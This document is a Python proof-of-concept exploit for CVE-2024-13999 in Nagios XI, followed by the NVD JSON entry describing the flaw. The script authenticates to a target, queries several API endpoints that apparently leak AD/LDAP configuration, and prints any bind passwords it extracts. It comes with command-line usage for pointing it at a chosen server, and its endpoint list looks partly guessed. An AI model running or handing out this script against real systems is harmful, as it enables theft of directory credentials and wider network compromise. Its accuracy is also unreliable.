CVE-2024-13999

# CVE-2024-13999 PoC - Nagios XI AD/LDAP Token Disclosure # Reference: https://www.vulncheck.com/advisories/nagios-xi-ad-ldap-token-authenticated-information-disclosure import requests import sys def exploit_cve_2024_13999(target_url, username, password): """ Exploit CVE-2024-13999: Nagios XI AD/LDAP Token Information Disclosure This PoC demonstrates how an authenticated user can retrieve AD/LDAP tokens from a vulnerable Nagios XI installation. Args: target_url: Base URL of Nagios XI installation username: Valid Nagios XI username password: Corresponding password Returns: dict: Contains extracted tokens and authentication data """ session = requests.Session() tokens = {} # Step 1: Authenticate to Nagios XI login_url = f"{target_url}/nagiosxi/api/v1/authenticate" login_data = { 'username': username, 'password': password } try: response = session.post(login_url, data=login_data, verify=False, timeout=30) if response.status_code == 200: auth_result = response.json() if auth_result.get('success'): token = auth_result.get('token') print(f"[+] Successfully authenticated to Nagios XI") print(f"[+] Session token obtained: {token[:20]}...") # Step 2: Exploit the AD/LDAP token disclosure # Target endpoint that discloses AD/LDAP credentials exploit_endpoints = [ '/nagiosxi/api/v1/config/ldap?cmd=verify', '/nagiosxi/api/v1/system/adconfig', '/nagiosxi/api/v1/config/authentication' ] for endpoint in exploit_endpoints: exploit_url = f"{target_url}{endpoint}" headers = { 'Authorization': f'Bearer {token}', 'X-Requested-With': 'XMLHttpRequest' } resp = session.get(exploit_url, headers=headers, verify=False, timeout=30) if resp.status_code == 200: data = resp.json() # Check for LDAP/AD credentials in response if 'ldap_bind_dn' in data or 'ad_bind_user' in data: print(f"[+] Sensitive data found at {endpoint}") if 'ldap_bind_password' in data: tokens['ldap_password'] = data['ldap_bind_password'] if 'ad_bind_password' in data: tokens['ad_password'] = data['ad_bind_password'] tokens['bind_dn'] = data.get('ldap_bind_dn', data.get('ad_bind_user')) if tokens: print("\n[!] Exploited AD/LDAP Tokens:") for key, value in tokens.items(): print(f" {key}: {value}") return tokens else: print("[-] No tokens found - target may not be vulnerable or not configured for AD/LDAP") return None else: print(f"[-] Authentication failed: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2024-13999.py <target_url> <username> <password>") print("Example: python cve-2024-13999.py https://nagios.example.com admin password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] passwd = sys.argv[3] exploit_cve_2024_13999(target, user, passwd)

{"cve": {"id": "CVE-2024-13999", "sourceIdentifier": "[email protected]", "published": "2025-10-30T22:15:45.180", "lastModified": "2025-11-06T16:15:10.237", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nagios XI versions prior to 2024R1.1.3, under certain circumstances, disclose the server's Active Directory (AD) or LDAP authentication token to an authenticated user. Exposure of the server’s AD/LDAP token could allow domain-wide authentication misuse, escalation of privileges, or further compromise of network-integrated systems."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-497"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*", "versionEndExcluding": "2024", "matchCriteriaId": "62CF7BF4-6AAA-443E-93B4-B2F080091C13"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2024:r1:*:*:*:*:*:*", "matchCriteriaId": "85F1764D-1DD8-44B0-BF5A-2420CB519A3C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2024:r1.0.1:*:*:*:*:*:*", "matchCriteriaId": "C1FE1A0B-78D1-4626-A4CD-21B843DA596E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2024:r1.0.2:*:*:*:*:*:*", "matchCriteriaId": "CCAB888E-F030-4640-9A18-9E423E553308"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2024:r1.1:*:*:*:*:*:*", "matchCriteriaId": "C648B0A4-053C-4884-8A37-4AF03053ED1C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2024:r1.1.1:*:*:*:*:*:*", "matchCriteriaId": "893EEA99-0096-4C9F-BA8A-246A3E3F6C15"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2024:r1.1.2:*:*:*:*:*:*", "matchCriteriaId": "A1FDA3F3-DF79-4807-9451-F04B2DB9A2B6"}]}]}], "references": [{"url": "https://www.nagios.com/changelog/nagios-xi/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.nagios.com/products/security/#nagios-xi", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/nagios-xi-ad-ldap-token-authenticated-information-disclosure", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}